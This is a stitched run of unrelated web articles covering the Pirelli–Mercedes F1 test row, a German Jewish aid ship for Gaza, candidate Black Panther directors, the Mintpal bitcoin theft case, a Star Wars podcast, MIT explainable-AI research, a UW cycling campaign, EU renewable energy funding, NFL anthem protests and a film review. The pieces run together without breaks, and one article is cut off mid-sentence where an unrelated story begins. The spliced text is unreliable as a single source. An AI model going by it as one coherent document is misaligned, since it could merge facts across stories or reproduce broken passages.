'Taking a look at Lewis’ car today, there’s no way would I get in it; but then he said the same thing about mine! He asked where the seatbelts were – we didn’t wear seatbelts! 'The atmosphere at the British Grand Prix will be fantastic. There’ll be some great racing at Silverstone; the public that come here always have a great time. It will also be the last chance to come and listen to the 2.4 litre V8s screaming around this wonderful circuit. The fans really have got to come and see it.' Meanwhile, tyre manufacturer Pirelli has defended itself in the Mercedes testing row, claiming it was Pirelli's understanding that the German team had cleared the test after 'good discussion' with motor racing's world governing body the FIA. Legends: Sir Stirling Moss meets Lewis Hamilton at Silverstone The test in Barcelona between May 15 and 17 became public knowledge just prior to last weekend's Monaco Grand Prix, with Red Bull and Ferrari launching a protest. They claimed Mercedes were in breach of Formula One regulations because the current Mercedes car and lead drivers Nico Rosberg and Lewis Hamilton were involved in the testing. With the F1 world waiting on the FIA to announce whether the matter is to go before an International Tribunal, Mercedes and Pirelli are blaming one another over who should have kept the FIA in the loop. On Sunday, Mercedes team principal Ross Brawn stated: 'It was up to Pirelli to spread the information. It wasn't up to us, it was their test.' Today, however, Pirelli motorsport director Paul Hembery laid the blame squarely on Mercedes, while insisting there was no attempt by his company to conduct the tests in secret. 'For these tests, as with others, we requested the use of a representative car,' he said. 'We wanted to create a test that gave us great value. It has been suggested in some quarters we asked for a 2013 car, that's not true. 'We asked for a representative car. Our understanding is there was good discussion between Mercedes and the FIA on this subject.' Hembery insisted Mercedes gained no advantage from the Barcelona test, as the tyres being examined were for use in next year's championship, and is adamant the test was not secret in any way. 'The test was performed blind. Mercedes have no idea, and still have no idea, of what was being tested,' added Hembery. 'There was no benefit to them. The benefit was for Pirelli and F1 in general, and the only benefit to F1 in general regarding this season related to the delaminations experienced by some drivers this year. 'As for it being described by some people as a secret test, well I don't think we are going to win any James Bond prizes. 'We booked the circuit in our name two days after a Formula One race. We turned up in our trucks dressed as Pirelli people with a brightly-coloured Mercedes car. And at a circuit like Barcelona, when you hear an F1 car the fans turn up and take photos. 'So it clearly wasn't (a secret) or we would be very bad spies from that point of view.'An organization of German Jews that wants to send an aid ship to break the Israeli blockade of Gaza says that its intentions are no betrayal of the Jewish people. In an interview with the German Press Agency dpa in Berlin, Kate Katzenstein-Leiterer, a leader of the German Jewish Voice organization said instead that they wanted to help preserve the state of Israel by showing that its current policies were wrong. Israel Navy forces approaching the Mavi Marmara bound for Gaza, May 31, 2010. Reuters "We want Israel to behave in a way that it can be recognized as a democratic state. Now it is recognized as a criminal state. That is not what we want," she said. On May 31 nine people were killed when Israeli naval forces boarded ships in a flotilla carrying aid and activists - some of whom Israel says were armed - bound for the Hamas-ruled Gaza Strip. The event caused international outrage, and has prompted Iran to say it will send its own fleet, threatening more confrontation in the Mediterranean. "Some see what we are doing as a betrayal. But the question is, what do they really know about the whole thing. Some people don't want to be educated," Katzenstein-Leiterer said. Jewish Voice plans to fill at least one vessel with educational materials donated by German schoolchildren for Gazan kids, and sail it from a Mediterranean port in mid-July. Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close "We don't want any confrontation with the Israeli navy. We have informed the (Israeli) ambassador in Berlin, and if they find it necessary to stop and check us, we will let them do that." "And when they don't find any material that could be a security risk, we want them to let us go into Gaza. We won't unload our cargo in any Israeli or Egyptian port," she says. Katzenstein-Leiterer grew up in the former East Germany, to where her committed Communist parents returned after fleeing Hitler's regime in World War II. Her organization is part of the European Jews for a Just Peace movement, a ten-country peace-activist network. Jewish Voice in Germany says that it has gathered the funds for its aid ship project from personal donations, loans, and a donation from the Left Party, a small political grouping with strong support in the former East. "Normal people here don't understand very much what is going on in Israel and Palestine," Katzenstein-Leiterer says. "The German press doesn't show what is going on. People think all Gazans are terrorists, like West Germans used to think that all East Germans were informers for the Stasi (secret police). Katzenstein-Leiterer says that her group's stance has caused them to be ostracized by the mainstream German-Jewish community, which numbers a little over 100,000. "Most of the Jews in Germany are immigrants from the former Soviet Union, and they are not on our side. The other members of the community are not on our side either. They say that everything that Israel does is OK, and they close their eyes to what is going on." A senior activist in the Jewish Voice movement, Rolf Verleger, was reportedly expelled from his position in the Central Council of Jews in Germany because he initiated a petition saying the 2006 Israeli invasion of Lebanon was "not in our name." However, Katzenstein-Leiterer says that there are now a small group of German Jews who, despite the weight that Germany's history places on the Jewish community, want to speak out against a Israeli blockade policy - brought in after Hamas took control of the sliver of territory in 2007 - that they see as wrong. "The whole blockade, the whole siege of Gaza is illegal. It is against international law and human rights," she says. "We want to deliver musical instruments and school material. The children and deprived of every kind of school material; clothes, shoes, candies. We don't see that that is any kind of safety risk." On Thursday the Israeli cabinet was expected to make a decision on scrapping the so-called "positive" list of items that they allow into Gaza in favor of a more relaxed "negative" list of prohibited items that could be of use to militants. "We just see that a Jewish state is occupying Palestine, laying a siege, and depriving children of the things that they need. We as Jews are saying, 'not in our name.' We want to show that there are Jews in the world that are on the side of these deprived people," she says.Marvel’s Black Panther film, now scheduled for 2018, will be an exciting and bold new step for a number of reasons. Not only will it arguably be the first modern blockbuster to feature a principally black cast, but it will also likely weave elements of science fiction and geo-politics into the superhero structure in a way that has rarely been done before. Set in the fictional African nation of Wakanda — an isolationist and technologically superior society that is forced to contend with growing external threats — the film is likely to grapple with complex issues of power, colonialism, and foreign military involvement — all the while maintaining the fun, action-adventure experience we’ve come to know and love from Marvel films. Balancing these differing tonal elements will no doubt be a challenge, but the ten directors below have exhibited an ability to do just that. Ava Duvernay This isn’t a ranked list, but for my money, there’s no one I’d rather see tackle Black Panther than Ava Duvernay. She’s of course best known for the recent Academy Award nominated Selma, and there are some easy parallels that one can draw between Martin Luther King and T’Challa, so much so that some have argued suggesting Duvernay for Black Panther is pigeonholing her. But it’s not so much that she has directed a film about a famous black person that makes her appealing. Rather, Selma showed her ability to deconstruct the myth of a heroic figure like Martin Luther King and reveal his humanity. And not only does she reveal the man behind the legend, she shows how the man who helped shape a movement could leave such a powerful legacy that he would be elevated to mythic status. The tension between the man and the mythos is at the heart of most successful superhero stories, and is particularly crucial for the Black Panther, who is not simply a costumed crusader but a leader of a nation. Being able to show who he is as a man — and then show how that helps make him a superhero — is integral to making the Black Panther a believable character. The key themes that arise not only from Selma but Duvernay’s entire filmography are likely to be important elements in Black Panther as well. Structures of power, consequences of violence, exploration of masculinity, and the legacy of those who have come before and who will follow — these themes are just as essential to the character of Black Panther as they are to the experiences of African-Americans explored in Duvernay’s films. Add to the fact that even on a relatively small budget she’s shown her ability to direct breathtaking action — the “Bloody Sunday” sequence from Selma is one of the most brutal and brilliant scenes of the year — and we have a director who is in a position to make Black Panther one of the most stirring and exciting modern blockbusters. Ernest Dickerson You may not know his name, but you’ve probably seen Ernest Dickerson’s work. Working in Hollywood for almost thirty years, Dickerson first got his start as Spike Lee’s cinematographer, and has lensed classic films such as Do The Right Thing and Malcolm X. He’s also an accomplished feature film director in his own right, including 1992 “hood-film” classic Juice. But Dickerson is best known for his television work, having directed more than 75 television episodes across more than 35 series, comprising all genres (including superhero — Heroes, The Cape), as well as multiple crucial episodes on fan favourites such as The Wire, Dexter and The Walking Dead. Indeed, he’s directed more Walking Dead episodes than any other director, including stand out episodes such as the season four mid-season finale “Too Far Gone” (just watch this incredible sequence to get a sense of Dickerson’s cinematic scope). Dickerson is a huge genre fiend, and has been trying to get a number of original sci-fi projects off the ground, including an adaptation of Octavia Butler’s “Clay’s Ark.” Black Panther, which would feature similar sci-fi explorations of humanity and power, would be a perfect fit for Dickerson. John Ridley Best known for his Academy Award screenplay for 12 Years a Slave, John Ridley is a Hollywood veteran who has written numerous screenplays, novels and even comic books, making him an obvious candidate to write the Black Panther screenplay. But he’s also worked as a director, both in feature film and in television. His first feature, Jimi: All Is By My Side, a loose biopic of Jimi Hendrix, came and went in 2013 without much attention, which is a shame — it’s energetic and exciting, showing tremendous vision and shaking up the structure of the usually dull music biopic. He also created, wrote, and directed the ABC series American Crime, an 11 episode anthology series in the vein of True Detective or American Horror Story that debuts this month. But of course, Ridley is best known as a writer. In addition to 12 Years A Slave, his credits include Three Kings, Red Tails, and the upcoming remake of Ben-Hur. He’s also one of the few directors on this list who can claim superhero bonafides: he wrote a pair of novels with a familiar government vs. superpeople theme, and has written comics for both DC and Wildstorm, including the original series “American Way.” But perhaps most impressively for serious geeks, he wrote for the fan classic TV series “Static Shock” and “Justice League,” and is one of the credited writers on “Starcrossed,” the conclusion of the series and considered to be one of its best episodes. While thought of mostly as a screenwriter, All Is By My Side clearly demonstrates Ridley’s directorial talents, and his superhero experience makes him an ideal candidate for handling the complicated mythology of Black Panther. F. Gary Gray F. Gary Gray is easily the most experienced Hollywood director on this list. His films include the 2003 remake of The Italian Job, the Get Shorty sequel Be Cool, and the original action-thriller Law Abiding Citizen, all of which were box office success, if not exactly critical darlings. His next film, Straight Outta Compton, is a biopic of the influential rap group NWA, the trailer for which shows incredible promise. To be perfectly honest, Gray’s filmography excites me a lot less than the rest of the filmmakers on this list. The Italian Job was relatively fun and engaging, while Law Abiding Citizen managed some decent moments of tension before succumbing to formula. And there’s something to be said for a director taking on a franchise film who has previous experience with sequels, reboots, and filming explosions. But the main reason Gray gets a spot on the list is that Marvel clearly sees something in him that I don’t. Gray was on the shortlist to direct Captain American: The Winter Solider, before reportedly dropping out to focus on Straight Outta Compton. Marvel has an incredible track record of picking unlikely directors who create fantastic superhero films — I wouldn’t have expected great things from the directors of Zathura: A Space Adventure or You, Me, and Dupree, which were the most recent films of Jon Faverau and the Russo Brothers before Marvel hired them. Yet those same filmmakers gave us Iron Man and Captain American: The Winter Solider. There’s an exciting mixture of danger, machismo, violence and politics hinted at within the Straight Outta Compton trailer — all things we’d hope for in Black Panther — and if Straight Outta Compton does well, don’t be surprised if Gray’s next film is set on the mean streets of Wakanda. Mira Nair Mira Nair is the director of more than a dozen feature films and documentaries, including Monsoon Wedding, Vanity Fair, The Namesake, and the Academy Award nominated Salam Bombay. Her most recent film, The Reluctant Fundamentalist, deftly wove identity politics and action thriller elements together, precisely as Black Panther will require. Nair also has numerous connections to Africa. Her next film, the Disney produced Queen of Katwe, is the true story of a young Ugandan girl living in poverty, who rose to become a Chess Grandmaster and compete in the World Chess Olympiad. (The film will star David Oyelowo and Lupita Nyong’o, both of whom would be great for Black Panther). Queen of Katwe will almost certainly be shot in Uganda, but this won’t be Nair’s first time filming in Africa — one of her earliest films, Mississippi Masala (starring a young Denzel Washington, another favorite fancast for Black Panther), was also partially filmed in Uganda. In fact, though Nair is from India originally, she has lived in Kampala (Uganada’s capital) for more than twenty years, and set up a film lab to help mentor East African filmmakers and promote African cinema. Nair has been offered blockbuster films in the past — she turned down the opportunity to direct Harry Potter and the Order of the Phoenix, in part, she said “because many people could direct a Harry Potter film, but only I could make The Namesake.” Would she feel the same way about Black Panther? Well, when she so powerfully argues that “one so rarely sees any images from the African continent that even vaguely resemble what it is like to live here, or to struggle here — the dignity and the power and the beauty of it,” one might hope the incentive to direct a blockbuster movie that does justice to African lives and stories would be a powerful one. Ryan Coogler Ryan Coogler’s Fruitvale Station serves almost as a contemporary mirror to Ava Duvernay’s Selma, and not just because each film beautifully illustrates issues facing African Americans. While Duvernay moved beyond the trappings of the conventional biopic and made her film more about the rise of a movement than the trials of one man, Coogler’s exploration of police violence avoids being simply a preachy drama focusing on a tragic moment in recent history. Instead, it is a deeply moving character study whose protagonist is far more than just a tragic victim, but instead is depicted as a deeply sympathetic and fallible human being who is instantly relatable. Coogler is currently shooting his next film, Creed, a spin-off of the Rocky franchise (set for release later this year). Starring Michael B. Jordan (who also starred in Fruitvale Station) and Sylvester Stallone returning to the role of Rocky, this smaller studio film — but still part of a franchise — serves as a perfect jumping off point to tackle a huge blockbuster. Coogler helped launch Jordan’s career to superhero heights (he stars as The Human Torch in this summer’s Fantastic Four) and it’s about time Coogler made the same leap. If Marvel doesn’t snap him up, there’s no question some other studio will. Cary Fukunaga Cary Fukunaga is a very eclectic filmmaker. Born and raised in California, his first feature, the superb Sin Nombre, was shot on location in Mexico and filmed entirely in Spanish. His follow up was about as different as one could imagine — a British costume drama, the critically acclaimed adaptation of Jane Eyre. He’s of course best known for directing the entire first season of the smash hit True Detective, but his next movie has taken him abroad once again. Due out later this year, Beasts of No Nation is a child soldier war drama starring Idris Elba, set in an unnamed African country but filmed entirely in Ghana. Fukunaga is currently one of the hottest directors in Hollywood at the moment — he’s set to start shooting his first studio film this summer, the adaption of Stephen King’s It, and has numerous other projects in development. But there are two themes that seem to thread their way through Fukunaga’s diverse body of work, and that might attract him to Black Panther: an exploration of the socio-political context of violence, and an attention to the specifics of place. Be it the bayous of Louisiana in True Detective, the moors of Northern England in Jane Eyre, or the Mexican countryside in Sin Nombre, the setting acts as such an integral factor in the narrative that it functions almost as a character in and of itself. Both the rationales for violence and the space it happens in (Wakanda) are crucial elements of Black Panther, and Fukunaga has demonstrated his gift at exploring these complex themes. Add to that his tremendous visual flair, and it’s clear Marvel would be crazy not to try and convince Fukunaga to shoot another film in Africa. Amma Assante Period costume dramas and superhero blockbusters probably don’t have a lot of crossover fans, but fans of the latter would miss out on a truly great film if they skipped Amma Assante’s Belle. The film may have the basic framework of a British period romance, but its real driving force is the pursuit of justice. While Black Panther is unlikely to revolve around the tension of marrying for love or money, Belle delves into issues of power, legacy, and identity in ways that might well be a key part of Black Panther. The success of Belle has led to numerous other offers for Assante. She’s set to direct her first major American studio picture, the Warner Bros thriller Unforgettable, starring Kerry Washington and Kate Hudson, and has already lined up funding for her next film after that, Where Hands Touch, a romantic drama centred on a mixed-race German girl and an SS Officer. Assante’s passion for exploring the dynamics of race, power and politics, combined with the studio experience of helming a more conventional thriller, indicates she’s in a perfect position to make a Black Panther film that is as powerful as it is entertaining. Yann Demange ‘71, Yann Demange’s debut feature, has been tearing up the festival circuit for the past year, and recently earned the first time director a British Independent Film award for Best Director as well as a BAFTA nomination for Outstanding Debut. The film, set in violent and sectarian Belfast during the height of the troubles, is about a young British solider attempting to survive the night after being left behind by his squad. The political context, however, is principally a backdrop for what is one of the most searing thrillers in years. Though ‘71 is his first feature, he has plenty of experience in British television: he directed the BAFTA nominated zombie mini-series Dead Set, a number of episodes of Peter Moffat’s award winning Criminal Justice, and the first series (season) of Top Boy, described as a British version of The Wire, for which Demange received a Best TV Directing BAFTA nomination as well a number of other awards and nominations. It’s clear Demange has interest in stories around political conflict — he wrote a screenplay about the Algerian Civil War and was at one point attached to direct a film about the 1980 siege of the Iranian Embassy. He’s just been announced to direct The Seven Five, the true story of a corrupt gang of NYPD officers who acted as violent gangsters in the early 90’s. It’s easy to see how the material would be a good fit for Demange, and could act as excellent preparation for Black Panther — not only by again exploring the intersection of violence and politics, but also by working on a higher budget Hollywood film. Depending on when The Seven Five begins production, it’s possible it would conflict with Black Panther (prep for which is likely to begin in the middle of next year), but if not, Demange’s sense of tempo, ability to stage fierce action, and gift for making political struggle compelling would make him perfect to give Black Panther’s conflicts a sense of vivid realism. Dee Rees Dee Rees‘ first film, Pariah, is an absolutely stunning coming of age drama about a 17 year old lesbian grappling with relationships, her family, and her own sense of identity. In less sure hands it could have wound up like half a dozen other maudlin coming of age films, but Rees, who both wrote and directed the film, handles her actors with such care and grace that moments of tenderness and joy are simultaneously heart wrenching and exhilarating. We haven’t seen anything from Rees since, but her next film, Bessie, a biopic of the legendary blues singer Bessie Smith, will appear on HBO later this year. If those don’t seem like obvious precursors for a big budget tentpole, at least one studio disagrees. Rees was tapped to adapt and direct Phillip K. Dick’s Martian Time Slip, a time travel action adventure story set on a colonial Mars. Dick’s works have been adapted numerous times and form the basis of films such as Blade Runner, Total Recall, and Minority Report. Moreover, it isn’t the action sequences and special effects that make Marvel films sing, though both are admittedly great. Rather, it’s the heart at the centre of them, the fact that we feel for our characters and that our superteams feel like a family. It’s part of what distinguishes Marvel films from their DC counterparts, which are colder and more removed, broader in scope than the intimate stories Marvel tells that just so happen to be playing out on a giant stage filled with killer robots and explosions. Rees’ incredible gift as a filmmaker is to realistically craft the spaces for her characters to breathe, grow, live and feel. Black Panther will of course have stunning visuals and a bombastic third act, but unless the audience can connect to the characters, it will all feel like sound and noise. There’s no doubt in my mind that Rees could handle the action elements — just watch how Pariah is filmed and edited to see her incredible visual sense and gift for pacing — but it’s her ability to help shape the more human moments that Marvel should be especially interested in. Honourable Mention: Wanuri Kahiu Unless you closely follow African cinema or are an avid reader of the
the courts in October last year. Kennedy was later released on bail. Bhai alleges he was “under confidentiality terms” and so could not confirm the news at the time, and his confirmations were in response to Syscoin’s Dan Wasyluk’s admissions. An update by Coinfire additionally cites a document obtained from “a solicitor intimately familiar with the situation” and which it claims confirms the details. Kennedy is widely believed to have stolen the equivalent of over 3,700 BTC from Mintpal once it was under the control of his company Moolah, from which he resigned in October following Mintpal’s collapse. Some of this amount he allegedly resold on LocalBitcoins with the help of “occasional accomplice,” Chelsea Hopkins, who has also been arrested in the UK. Syscoin, which is continuing to provide evidence in the case, recently published an update on the proceedings in which it stated: “We’ve produced evidence verified by a cryptographic expert; the story the blockchain tells is not one that aligns with the explanation provided (bug stole the bitcoin) for the loss of the coins by Moolah.” The company announced it is “also ensuring any accomplices who were complicit in this crime are being held accountable.” CoinFire notes that the legal proceedings in the UK will have impacted on an existing SEC investigation involving Kennedy’s sale of unregistered securities, but that the results are yet to be seen. “The blockchain’'s is a perfect example of how the popular Bitcoin adage ‘can't be evil’ as it relates to its public ledger acts as an excellent crime solving tool for law enforcement and private investigations for services like forensics accounting,” uBITquity founder and COO Nathan Wosnack commented to Cointelegraph in light of the developments. Did you enjoy this article? You may also be interested in reading these ones:This episode features Colin Cantwell, original designer and model maker on Star Wars 1975-1977! How did he come up with the X-Wing design? What did the original Millennium Falcon look like? Why is there a Death Star trench? He answers these questions, plus tells us about his time at NASA during the moon landings and so much more. In a word: Incredible. BB-8 On The Run is a beautifully illustrated book released by Disney-Lucasfilm Press on Force Friday. Written by Drew Daywalt and illustrated by Matt Myers, it is a perfect bedtime story. Jocasta Drew Kaplan and his 2 daughters drop by to review the tale with us. Also on this episode: Pump Up the Fandom – Donald Wicks shares his fandom moment Hurricane Irma Thoughts and Prayers Skywalker Shout-Outs and Skywalker of the Week Star Wars: Episode IX – J.J. Abrams announced as the new Director / Release Date pushed to 12/20/19 – we share our thoughts and the thoughts of our fellow Skywalkers. In Memoriam: Disney Legend and Imagineer X Atencio WHERE WE WILL BE (IN REAL LIFE) September 17-22, 2017: Skywalking HALLOWEEN ON THE HIGH SEAS Disney Cruise! 9/27/17: Skywalking to Mickey’s Halloween Party at Disneyland! Details Here SUPPORT THE SHOW Skywalking Through Neverland T-Shirts at TeePublic! Check them out HERE. CONTACT US Instagram: http://instagram.com/skywalkingpod Twitter: https://twitter.com/SkywalkingPod Facebook: https://www.facebook.com/skywalkingthroughneverland Join us every week on Periscope for a behind-the-scenes look at our show. We also bring you to Disneyland, Red Carpet Events and Theme Park Openings. Send emails to share@skywalkingthroughneverland.com and follow us on Facebook. If you dug this episode, click over to iTunes \| Stitcher \| YouTube and leave us a review! Never Land on Alderaan!When tagging a photo on Facebook, an AI algorithm suggests who’s in it before you can type their name, and more practical speech recognition software is being integrated into a variety of devices. AI-dependent technologies like these have improved considerably in the last few years, partially due to advances in Deep Learning. Now, Neural Networks are learning to reason like a human. Deep learning uses AI neural networks to solve problems from input data. Researches “train” neural networks by inputting a particular algorithm and subject data, and then ask the AI to solve a particular problem using the given data. A system of interconnected nodes all run separate processes and compare results until the closest approximation to the desired outcome is reached. In essence, the computers are given tools with which to teach themselves. “the AI predicted with 96%, 95%, and 80% accuracy how users rated a beer’s appearance, aroma, and palate, respectively.” Limitations of Deep Learning AI While deep learning systems are robust and impressive, the decisions they make are sometimes difficult for researchers to understand. This loss in translation is a growing source of concern and anxiety regarding what deep learning systems can handle, and how exactly they handle it. According to Tommi Jaakkola of MIT, deep learning is “tremendously flexible in terms of learning input/output mappings, but the flexibility and power comes at a cost. That is that it’s very difficult to work out why it is performing a certain prediction in a particular context.” He continued by explaining that “this becomes a real issue in any situation where there are consequences to making a prediction, or actions that are taken on the basis of that prediction,” Jaakkola said. To Think Like a Human, Rate Beer A team of researchers from MIT’s Computer Science and Artificial Intelligence Laboratory (CSAIL) is developing a new method that trains neural networks to make decisions, predictions, and classifications in a more structured and “rational” manner. The researchers trained the neural network using textual data extracted from a website where users rate different beers. Users left written reviews as well as ratings using a 5-star scale. “He was a wise man that invented beer.” – Plato The team began by splitting the neural network into two separate modules. The first was tasked with taking excerpts and evaluating them based on length and how coherent they were. The second network was subsequently tasked with classifying the texts and making predictions based on them. Using this multi-tiered analysis, the researchers were able to make the AI’s results more understandable by essentially teaching it to reason along the same lines as the human reviewers. Based on congruency with the human reviews, the AI predicted with 96 percent, 95 percent, and 80 percent accuracy how users rated a beer’s appearance, aroma, and palate respectively.A A SEATTLE -- University of Washington police launched a new safety campaign Monday aimed at getting all bicyclists to follow traffic laws on a popular section of the Burke Gilman Trail. Police said some bicyclists are ignoring the rules, which has lead to a number of close calls with drivers and pedestrians. The close calls have happened on a section of the trail that's been re-routed because of construction. UW Police recently conducted a study on a detoured route, which runs between Brooklyn Avenue Northeast and Mason Road. A random sample of 225 bicyclists showed about 61 percent of them didn't yield to pedestrians or stop at stop signs, police said. Officers are concerned that bicyclists who don't follow the rules will get hit walkers or runners in the area or get hit by a car themselves. "I'm actually really concerned about this. I've seen so many near misses here," said Shannon McManus, who works at the university. "I think it's important for the cars to understand what you're gonna do because if you're not obeying the traffic sign, then you're behavior is unpredictable. And they might act unpredictably, as well," said bicyclist Nicole Nichols. "I think it's an issue that we need to have people behaving better on both bikes and in cars. Because there's also cars that can be excessively aggressive and for no good reason, cutting people off." UW Police plan to spread the word about the campaign using social media websites and other media. For now, officers plan to remind bicyclists, drivers, and pedestrians about the rules of the road. Enforcement begins on October 27th, police said. Officers are prepared to hand out tickets, but they hope it doesn't get to that point, officers said.The European Commission continues its leading role in the Africa Renewable Energy Initiative, in line with its wider efforts in the implementation of the 2030 Agenda on Sustainable Development and the Paris Climate Change Agreement. On 4 March 2017 in Conakry, Guinea, Commissioner for International Cooperation and Development, Neven Mimica, announced the preparation of 19 new renewable energy projects, with a total potential investment of €4.8 billion. This was done during the second Board of Directors meeting of the Africa Renewable Energy Initiative. These sustainable energy projects have an indicative EU contribution of €300 million, which is expected to leverage total investments amounting to €4.8 billion, adding 1.8 Gigawatts of new renewable energy generation in Africa. The European Union is a key counterpart for Africa on sustainable energy cooperation. Commissioner Mimica said: "With these 19 new projects, potentially worth €4.8 billion of investments, the European Union is delivering on its promises. We are turning our pledges into real projects with true impact on the ground. The EU hereby reaffirms its leading role in supporting the African continent in the promotion of renewable energies for the improvement of energy access for African citizens." Read full PRESS RELEASEReady to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? The 1960s and ’70s saw a hurricane of political athletes: legends like Muhammad Ali, John Carlos, Tommie Smith, Curt Flood, and Billie Jean King. But nothing, literally nothing, in the history of sports and politics can compare to what happened on Sunday. Ad Policy Expressions of dissent broke out in every single NFL game during the playing of the national anthem. Some players kneeled, some sat, some raised fists, and some linked arms. But all of them were standing in opposition to Donald Trump. Announcers and commentators discussed their actions sympathetically. The booing one might expect from fans was sparse. Two anthem singers—a black man in Detroit and a white woman in Tennessee—took a knee during the last note of the song. How did this happen? How did the sport that—from ownership down—has historically been associated with the most conservative politics see this maelstrom of united discontent? It starts with Colin Kaepernick, and it ends with understanding the “brotherhood” that exists in NFL locker rooms. Kaepernick, of course, is the blackballed (or whiteballed) free-agent NFL quarterback who took a knee and protested during the anthem last season to highlight the issue of police violence. I can say unequivocally from my reporting that, while only a small group of NFL players joined Kaepernick in this protest last season, the respect he garnered throughout the community of players for doing it week after week for four straight months, weathering all kinds of brutal criticism, was deep. Kaepernick lit the match. It was kept alight earlier this season by players like Seattle Seahawk Michael Bennett, Philadelphia Eagle Malcolm Jenkins, Oakland Raider Marshawn Lynch, and a dozen members of the Cleveland Browns and others, but the gasoline was poured upon this flame by Donald Trump on Friday. People no doubt are aware of what should be known as “the Alabama speech,” in which he called for protesting NFL players to be fired and referred to anyone who protested as a “son of a bitch.” It starts with Colin Kaepernick, and it ends with understanding the brotherhood that exists in NFL locker rooms. This is where we get to the question of solidarity. Donald Trump never played football, and therefore does not understand what Bennett calls “the brotherhood.” Football players are very tight-knit as a community. It’s certainly not always a positive solidarity, most pointedly seen in the reticence of players to speak out when a teammate commits an act of violence against women, as well as in the pressure to play when hurt, which often comes from your “brothers,” not coaches. But this “brotherhood” also means that when someone threaten the livelihoods of the players and disrespect their families, they will stand as one. Related Article The Fragile, Toxic Masculinity of Donald Trump Dave Zirin From Trump’s perspective—leader of, as former NFL player Adalius Thomas called it in a scathing critique of Trump on MSNBC, “The Divided States of America”—these players probably seemed like a smart target. Trump reserves his greatest venom for black people and women—as we have seen time and again—and certainly thought that going after wealthy black athletic dissenters was a clever move. But it didn’t line up as he had hoped. First the union came out strongly in defense of players and challenged management to do the same. Then team owners and Roger Goodell came out—far less strongly, but still making it perfectly clear what side they were on. Even though their comments were not exactly fiery, they stood with the dissenting players. This matters, when we consider just how many of these owners supported Trump in the campaign. (If they were truly on the side of angels, not to mention meritocracy, they wouldn’t just talk the talk, but they’d sign Colin Kaepernick.) Then this tumult spilled over into the Sunday morning shows. People like former NFL player Anquan Boldin had a platform on ABC News to say, “I don’t like the hate speech that is coming out of [Trump’s] mouth. Neither do the players in the locker room.” Seahawk wide receiver Doug Baldwin shamed Trump with a statement so eloquent one wondered why he couldn’t be president. Current Issue View our current issue Then there was the declaration of the entire Seahawks organization, on team letterhead, which read, “As a team we have decided we will not participate in the national anthem. We will not stand for the injustice that has plagued people of color in this country. Out of love for our country and in honor of the sacrifices made on our behalf, we unite to oppose those that would deny our most basic freedoms. We remain committed in continuing to work towards freedom and equality for all.” But even beyond these voices, there was also Fox announcer—and Southern NFL icon—Terry Bradshaw, who said, “Not sure if our president understands those rights, that every American has the right to speak out and also to protest.” Then there was former NFL coach Rex Ryan, a vocal Trump supporter who campaigned for the man. He said, “I’m pissed off I’ll be honest. I supported Trump, and I’m appalled at these comments. SOBs? Not the men that I know.” One could certainly be forgiven for wondering what Trump he was watching during the campaign. But all of it speaks to the very intense, if at times deeply distorted, sense of solidarity that exists throughout the league at every level. This is what Trump lacked the capacity to understand—and the divider in chief painted himself into a corner. For one day, the NFL was united. The line of the day that explained it all was said by ESPN NFL commentator and future Hall of Famer Charles Woodson. He said, “This is choose-your-side Sunday. It really is. And what side are you on?” When it comes to the NFL, that “side” does not involve standing with Donald Trump. In the 1960s, athletes made history. On Sunday, a new link was forged.by Note: Since Ruthless Reviews was founded “in 2003 or maybe 2004”, I figured New Years 2014 was as good a time as any to celebrate its 10th anniversary. Have you ever wondered how to be a bigger asshole than you already are? Does the fact that there are people in this world who not only do not know your name, but also don’t think that you are the absolute worst person in the world bother you? Are you restless because it’s been some time since a fiance shed tears after your heartless breaking off of the engagement? Never fear, for the one and only H. Woodruff Vendig is here to give your life meaning all over again. For through our journey with him, we learn yet another inalienable truth about our world: Man, America really has always been this fucked up. This is a film from 1948, yet it might as well have been made yesterday. I only watched it due to its title, as the thought of reviewing a film called Ruthless on Ruthless Reviews gave me Xzibitface, but it is actually a fairly entertaining take on the Wall Street kleptocracy. According to the opening credits, it is adapted from a novel that I’ve never read. Perhaps the novel fleshes out the characters more; as it stands, the film seems to gloss over some of the details of Vendig’s transition from innocent youth to complete asshole. Still, it’s nice to expand my knowledge of the films of the 1940’s beyond Notorious, Double Indemnity, and anything starring Rita Hayworth. Who knows, maybe one day I will watch enough movies to actually know what I’m talking about! Ruthless opens at a gala thrown by Vendig, which he has invited all of his old friends and associates to. Vendig is selling his mansion and donating the money to the cause of world peace. Our main character is Vic, Vendig’s oldest friend and former business partner. Vic attends the party with a girl named Mallory, who bears a striking resemblence to Vendig’s first fiance Martha. This may or may not have something to do with the fact that both characters are played by Diana Lynn, but I’m not sure. Anyway, from there, the film goes into a series of flashbacks telling the story of Vendig’s life. The lone good thing Vendig ever did was saving Martha from drowning in a lake when they were children. Granted, Martha only fell into the lake due to Vendig and Vic having some minor fight in the boat, but Vendig still rose to the occasion. In the aftermath, Vendig runs away from his home, leaving his overbearing mother and absentee father behind as he moves in with Martha’s family. Martha’s family promises to care for him and give him everything he needs to repay him for saving their daughter. That should have been enough for Vendig, and most people could have lived happily by eventually marrying Martha and settling into a nice job after making use of the college education provided by her family. But Vendig is not most people. Vendig is a dickbag. Sure, he’s a dickbag by the standards of 1948, and thus is less coarse and profane than the dickbags of today, but he’s a dickbag all the same. He always wants more. He wants it all. As L.A. Guns once said, “It’s never enough.” Now, I know what you’re going to say: Aren’t most people dickbags? It’s true, but not on the level on Vendig in ths film. It takes a certain type of person to screw over everyone who has ever helped you. This is the dark side of the captains of finance and industry: they are idolized by America as the ideal man, yet they themselves regard the country and its citizens with indifference at 